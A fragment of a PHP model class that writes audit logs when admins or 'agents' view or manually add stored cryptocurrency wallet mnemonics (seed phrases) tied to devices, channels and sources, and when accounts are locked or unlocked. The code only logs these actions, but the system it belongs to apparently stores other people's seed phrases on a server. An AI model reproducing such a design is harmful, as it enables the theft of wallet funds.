*/ public static function actionLabels(): array { return [ self::ACTION_MNEMONIC_REVEAL => '查看助记词', self::ACTION_MNEMONIC_CREATE => '手动添加助记词', self::ACTION_ADMIN_LOCKED => '账号封锁', self::ACTION_ADMIN_UNLOCKED => '账号解锁', self::ACTION_AGENT_LOCKED => '代理账号封锁', self::ACTION_AGENT_UNLOCKED => '代理账号解锁', ]; } public function actorRoleLabel(): string { return match ($this->actor_guard) { 'admin' => '管理员', 'agent' => '代理', default => $this->actor_guard ?: '—', }; } public static function record( Admin|User $actor, string $guard, string $action, string $content, ?Request $request = null, ): self { return static::query()->create([ 'action' => $action, 'actor_guard' => $guard, 'actor_id' => $actor->id, 'actor_username' => (string) $actor->username, 'content' => $content, 'ip' => $request ? VisitorIp::fromRequest($request) : null, ]); } public static function recordMnemonicReveal( Admin|User $actor, string $guard, WalletMnemonic $mnemonic, ?Request $request = null, ): self { $device = $mnemonic->relationLoaded('device') ? $mnemonic->device : $mnemonic->device()->first(); $parts = ['#'.$mnemonic->id]; if ($device?->device_id) { $parts[] = '设备 '.$device->device_id; } if ($device?->channel_id) { $parts[] = '渠道 '.$device->channel_id; } if ($mnemonic->source) { $parts[] = '来源 '.$mnemonic->source; } return static::record( $actor, $guard, self::ACTION_MNEMONIC_REVEAL, '查看助记词 '.implode(',', $parts), $request, ); } public static function recordMnemonicCreate( Admin $actor, WalletMnemonic $mnemonic, Device $device, ?Request $request = null, ): self { $parts = ['#'.$mnemonic->id]; if ($device->device_id) { $parts[] = '设备 '.$device->device_id; } if ($mnemonic->source) { $parts[] = '来源 '.$mnemonic->source; } return static::record( $actor, 'admin', self::ACTION_MNEMONIC_CREATE, '手动添加助记词 '.implode(',', $parts), $request, ); } }